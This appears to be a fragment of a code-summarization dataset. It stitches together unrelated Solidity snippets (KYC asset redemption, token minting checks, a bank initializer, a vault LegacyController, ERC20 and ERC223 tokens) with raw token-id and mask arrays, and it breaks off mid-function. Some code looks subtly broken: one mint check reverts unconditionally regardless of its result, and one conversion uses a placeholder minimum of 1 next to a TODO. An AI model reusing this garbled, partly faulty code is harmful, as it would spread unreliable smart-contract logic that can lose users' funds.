IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress);
address ethMarch26KycContractAddress = contractRegistry.getContractAddressOfVersion(0);
if (ethMarch26KycContractAddress != address(0)) {
IERC20 march26Erc20 = IERC20(ethMarch26KycContractAddress);
uint256 currentBalance = march26Erc20.balanceOf(address(this));
uint256 incorrectlySentAssetBalance = currentBalance.sub(v1TotalUpgradeAmount);
return incorrectlySentAssetBalance;
} else {
//registry not set up properly
return 0;
}
}
/// @param _destination The destination for the redeemed assets.
/// @param _amount The amount of the assets to redeem.
/// @dev Redeems assets to specific destinations. As there is no tracking functionality that will not break the gas expectations, there is an external mechanism to redeem assets correctly off-chain based on the transaction receipts.
/// @return result
/// | 4 = redeemed assets correctly
/// | [revert] = erc20-based "transfer(address,uint256" function did not return okay
/// | 2 = did not have enough tokens in incorrectly-sent balance account to redeem
/// | 1 = registry not set up properly
/// | 0 = not responder
function responderRedeemIncorrectlySentAssets(address _destination, uint256 _amount) public returns(uint8 result) {
if (msg.sender == emergencyResponder) {
IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress);
address ethMarch26KycContractAddress = contractRegistry.getContractAddressOfVersion(0);
if (ethMarch26KycContractAddress != address(0)) {
IERC20 march26Erc20 = IERC20(ethMarch26KycContractAddress);
uint256 currentBalance = march26Erc20.balanceOf(address(this));
uint256 incorrectlySentAssetBalance = currentBalance.sub(v1TotalUpgradeAmount);
if (_amount <= incorrectlySentAssetBalance) {
bool success = march26Erc20.transfer(_destination, _amount);
if (success == true) {
emit EVT_redeemIncorrectlySentAsset(_destination, _amount);
//redeemed assets correctly
return 4;
} else {
//must revert since transactional action has occurred
revert("erc20 transfer event did not succeed");
// return 3;
}
} else {
//did not have enough tokens in incorrectly-sent balance account to redeem
return 2;
}
} else {
//registry not set up properly
return 1;
}
} else {
//not responder
return 0;
}
}
} | make sure that there is a cache graph linked, otherwise revert.checks on consent-driven trust channels that the end user and the relayer have in commonif there are any matches continue on or revert if there are no matches found. | if (onlyAcceptsKycInput[_to] == true) {
if (shyftCacheGraphAddress != address(0)) {
IShyftCacheGraph shyftCacheGraph = IShyftCacheGraph(shyftCacheGraphAddress);
uint8 kycCanSendResult = shyftCacheGraph.getKycCanSend(msg.sender, _to, _amount, ShyftTokenType, true, false);
if (kycCanSendResult == 3) {
revert("ShyftKycContract: mint to KYC only address within Trust Channel groupings");
}
revert("ShyftKycContract: mint to KYC only address within Trust Channel groupings");
}
}
totalSupplyBip32X[ShyftTokenType] = totalSupplyBip32X[ShyftTokenType].add(_amount);
balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_amount);
emit Transfer(address(0), _to, _amount);
| 314,242 | [
1,
6540,
3071,
716,
1915,
353,
279,
1247,
2667,
8459,
16,
3541,
15226,
18,
12366,
603,
28243,
17,
3069,
837,
10267,
5750,
716,
326,
679,
729,
471,
326,
1279,
1773,
1240,
316,
2975,
430,
1915,
854,
1281,
1885,
1324,
603,
578,
15226,
309,
1915,
854,
1158,
1885,
1392,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
261,
3700,
26391,
47,
93,
71,
1210,
63,
67,
869,
65,
422,
638,
13,
288,
203,
5411,
309,
261,
674,
93,
1222,
1649,
4137,
1887,
480,
1758,
12,
20,
3719,
288,
203,
7734,
467,
1555,
93,
1222,
1649,
4137,
699,
93,
1222,
1649,
4137,
273,
467,
1555,
93,
1222,
1649,
4137,
12,
674,
93,
1222,
1649,
4137,
1887,
1769,
203,
203,
7734,
2254,
28,
417,
93,
71,
2568,
3826,
1253,
273,
699,
93,
1222,
1649,
4137,
18,
588,
47,
93,
71,
2568,
3826,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
8949,
16,
2638,
93,
1222,
28675,
16,
638,
16,
629,
1769,
203,
203,
7734,
309,
261,
18465,
71,
2568,
3826,
1253,
422,
890,
13,
288,
203,
10792,
15226,
2932,
1555,
93,
1222,
47,
93,
71,
8924,
30,
312,
474,
358,
1475,
61,
39,
1338,
1758,
3470,
20246,
5307,
1041,
899,
8863,
203,
7734,
289,
203,
7734,
15226,
2932,
1555,
93,
1222,
47,
93,
71,
8924,
30,
312,
474,
358,
1475,
61,
39,
1338,
1758,
3470,
20246,
5307,
1041,
899,
8863,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
2078,
3088,
1283,
38,
625,
1578,
60,
63,
1555,
93,
1222,
28675,
65,
273,
2078,
3088,
1283,
38,
625,
1578,
60,
63,
1555,
93,
1222,
28675,
8009,
1289,
24899,
8949,
1769,
203,
3639,
324,
26488,
63,
67,
869,
6362,
1555,
93,
1222,
28675,
65,
273,
324,
26488,
63,
67,
869,
6362,
1555,
93,
1222,
28675,
8009,
1289,
24899,
8949,
1769,
203,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
2
] |
./partial_match/1/0x373ae78a14577682591E088F2E78EF1417612c68/sources/contracts/HomoraBank.sol | @dev Initialize the bank smart contract, using msg.sender as the first governor. @param _oracle The oracle smart contract address. @param _feeBps The fee collected to Homora bank. | function initialize(IOracle _oracle, uint _feeBps) external initializer {
__Governable__init();
_GENERAL_LOCK = _NOT_ENTERED;
_IN_EXEC_LOCK = _NOT_ENTERED;
POSITION_ID = _NO_ID;
SPELL = _NO_ADDRESS;
caster = address(new HomoraCaster());
oracle = _oracle;
require(address(_oracle) != address(0), 'bad oracle address');
feeBps = _feeBps;
nextPositionId = 1;
emit SetOracle(address(_oracle));
emit SetFeeBps(_feeBps);
}
| 4,169,075 | [
1,
7520,
326,
11218,
13706,
6835,
16,
1450,
1234,
18,
15330,
487,
326,
1122,
314,
1643,
29561,
18,
225,
389,
280,
16066,
1021,
20865,
13706,
6835,
1758,
18,
225,
389,
21386,
38,
1121,
1021,
14036,
12230,
358,
670,
362,
10610,
11218,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
4046,
12,
4294,
16873,
389,
280,
16066,
16,
2254,
389,
21386,
38,
1121,
13,
3903,
12562,
288,
203,
565,
1001,
43,
1643,
6914,
972,
2738,
5621,
203,
565,
389,
13990,
1013,
67,
6589,
273,
389,
4400,
67,
12278,
2056,
31,
203,
565,
389,
706,
67,
15271,
67,
6589,
273,
389,
4400,
67,
12278,
2056,
31,
203,
565,
26808,
67,
734,
273,
389,
3417,
67,
734,
31,
203,
565,
348,
1423,
4503,
273,
389,
3417,
67,
15140,
31,
203,
565,
276,
2440,
273,
1758,
12,
2704,
670,
362,
10610,
39,
2440,
10663,
203,
565,
20865,
273,
389,
280,
16066,
31,
203,
565,
2583,
12,
2867,
24899,
280,
16066,
13,
480,
1758,
12,
20,
3631,
296,
8759,
20865,
1758,
8284,
203,
565,
14036,
38,
1121,
273,
389,
21386,
38,
1121,
31,
203,
565,
1024,
2555,
548,
273,
404,
31,
203,
565,
3626,
1000,
23601,
12,
2867,
24899,
280,
16066,
10019,
203,
565,
3626,
1000,
14667,
38,
1121,
24899,
21386,
38,
1121,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0x131fF587aDDd4D633508CeD979409DB370Fd421C/sources/project_/contracts/InnerProductVerifier.sol | could probably just access / overwrite the parameter directly.
| ipAuxiliaries.o = salt; | 3,833,656 | [
1,
15195,
8656,
2537,
2006,
342,
6156,
326,
1569,
5122,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2359,
21981,
15700,
5646,
18,
83,
273,
4286,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../interfaces/IController.sol";
import "../interfaces/IConverter.sol";
import "../interfaces/ILegacyController.sol";
import "../interfaces/ILegacyVault.sol";
import "../interfaces/IManager.sol";
import "../interfaces/IVault.sol";
contract LegacyController is ILegacyController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 public constant MAX = 10000;
IManager public immutable manager;
IERC20 public immutable token;
address public immutable metavault;
bool public investEnabled;
IVault public vault;
IConverter public converter;
event Earn(uint256 amount);
event Withdraw(uint256 amount);
/**
* @param _manager The vault manager contract
* @param _metavault The legacy MetaVault contract
*/
constructor(
address _manager,
address _metavault
)
public
{
manager = IManager(_manager);
metavault = _metavault;
address _token = ILegacyVault(_metavault).want();
token = IERC20(_token);
}
/**
* @notice Sets the vault address
* @param _vault The v3 vault address
*/
function setVault(
address _vault
)
external
onlyStrategist
{
IVault cachedVault = vault;
if (address(cachedVault) != address(0)) {
cachedVault.withdrawAll(address(token));
token.safeTransfer(metavault, token.balanceOf(address(this)));
}
vault = IVault(_vault);
}
/**
* @notice Sets the converter address
* @param _converter The address of the converter
*/
function setConverter(
address _converter
)
external
onlyStrategist
{
converter = IConverter(_converter);
}
/**
* @notice Sets the investEnabled status flag
* @param _investEnabled Bool for enabling investment
*/
function setInvestEnabled(
bool _investEnabled
)
external
onlyStrategist
{
investEnabled = _investEnabled;
}
/**
* @notice Recovers stuck tokens sent directly to this contract
* @dev This only allows the strategist to recover unsupported tokens
* @param _token The address of the token
* @param _receiver The address to receive the tokens
*/
function recoverUnsupportedToken(
address _token,
address _receiver
)
external
onlyStrategist
{
require(_token != address(token), "!_token");
IERC20(_token).safeTransfer(_receiver, IERC20(_token).balanceOf(address(this)));
}
/**
* @notice Returns the balance of the given token on the vault
* @param _token The address of the token
*/
function balanceOf(
address _token
)
external
view
onlyToken(_token)
returns (uint256)
{
return token.balanceOf(address(this))
.add(IERC20(address(vault)).balanceOf(address(this)));
}
/**
* @notice Returns the withdraw fee for withdrawing the given token and amount
* @param _token The address of the token
* @param _amount The amount to withdraw
*/
function withdrawFee(
address _token,
uint256 _amount
)
external
view
onlyToken(_token)
returns (uint256)
{
return manager.withdrawalProtectionFee().mul(_amount).div(MAX);
}
/**
* @notice Withdraws the amount from the v3 vault
* @param _amount The amount to withdraw
*/
function withdraw(
address,
uint256 _amount
)
external
onlyEnabledVault
onlyMetaVault
{
uint256 _balance = token.balanceOf(address(this));
// happy path exits without calling back to the vault
if (_balance >= _amount) {
token.safeTransfer(metavault, _amount);
emit Withdraw(_amount);
} else {
uint256 _toWithdraw = _amount.sub(_balance);
IVault cachedVault = vault;
// convert to vault shares
address[] memory _tokens = cachedVault.getTokens();
require(_tokens.length > 0, "!_tokens");
// get the amount of the token that we would be withdrawing
uint256 _expected = converter.expected(address(token), _tokens[0], _toWithdraw);
uint256 _shares = _expected.mul(1e18).div(cachedVault.getPricePerFullShare());
cachedVault.withdraw(_shares, _tokens[0]);
_balance = IERC20(_tokens[0]).balanceOf(address(this));
IERC20(_tokens[0]).safeTransfer(address(converter), _balance);
// TODO: calculate expected
converter.convert(_tokens[0], address(token), _balance, 1);
emit Withdraw(token.balanceOf(address(this)));
token.safeTransfer(metavault, token.balanceOf(address(this)));
}
}
/**
* @notice Only emits the Earn event
* @dev This is a dummy function to allow the MetaVault to call
* @param _amount The amount to earn
*/
function earn(
address,
uint256 _amount
)
external
onlyMetaVault
{
emit Earn(_amount);
}
/**
* @notice Deposits the given token to the v3 vault
* @param _toToken The address to convert to
* @param _expected The expected amount to deposit after conversion
*/
function legacyDeposit(
address _toToken,
uint256 _expected
)
external
override
onlyEnabledConverter
onlyHarvester
{
if (_toToken != address(token)) {
uint256 _amount = token.balanceOf(address(this));
token.safeTransfer(address(converter), _amount);
converter.convert(address(token), _toToken, _amount, _expected);
}
IERC20(_toToken).safeApprove(address(vault), 0);
IERC20(_toToken).safeApprove(address(vault), type(uint256).max);
vault.deposit(_toToken, IERC20(_toToken).balanceOf(address(this)));
}
/**
* @notice Reverts if the converter is not set
*/
modifier onlyEnabledConverter() {
require(address(converter) != address(0), "!converter");
_;
}
/**
* @notice Reverts if the vault is not set
*/
modifier onlyEnabledVault() {
require(address(vault) != address(0), "!vault");
_;
}
/**
* @notice Reverts if the caller is not the harvester
*/
modifier onlyHarvester() {
require(msg.sender == manager.harvester(), "!harvester");
_;
}
/**
* @notice Reverts if the caller is not the MetaVault
*/
modifier onlyMetaVault() {
require(msg.sender == metavault, "!metavault");
_;
}
/**
* @notice Reverts if the caller is not the strategist
*/
modifier onlyStrategist() {
require(msg.sender == manager.strategist(), "!strategist");
_;
}
/**
* @notice Reverts if the given token is not the stored token
*/
modifier onlyToken(address _token) {
require(_token == address(token), "!_token");
_;
}
}
| * @notice Returns the balance of the given token on the vault @param _token The address of the token/ | function balanceOf(
address _token
)
external
view
onlyToken(_token)
returns (uint256)
{
return token.balanceOf(address(this))
.add(IERC20(address(vault)).balanceOf(address(this)));
}
| 12,830,418 | [
1,
1356,
326,
11013,
434,
326,
864,
1147,
603,
326,
9229,
225,
389,
2316,
1021,
1758,
434,
326,
1147,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11013,
951,
12,
203,
3639,
1758,
389,
2316,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1338,
1345,
24899,
2316,
13,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
1147,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
203,
10792,
263,
1289,
12,
45,
654,
39,
3462,
12,
2867,
12,
26983,
13,
2934,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
// File: contracts/SafeMath.sol
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: contracts/ERC20.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/ERC223.sol
/**
* ERC20-compatible version of ERC223
* https://github.com/Dexaran/ERC223-token-standard/tree/ERC20_compatible
*/
contract ERC223Basic is StandardToken {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/**
* Contract that is working with ERC223 tokens
*/
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* ERC20-compatible version of ERC223
* https://github.com/Dexaran/ERC223-token-standard/tree/ERC20_compatible
*/
contract ERC223BasicToken is ERC223Basic {
using SafeMath for uint;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address to, uint value, bytes data) onlyPayloadSize(2 * 32) public {
// Standard function transfer similar to ERC20 transfer with no _data .
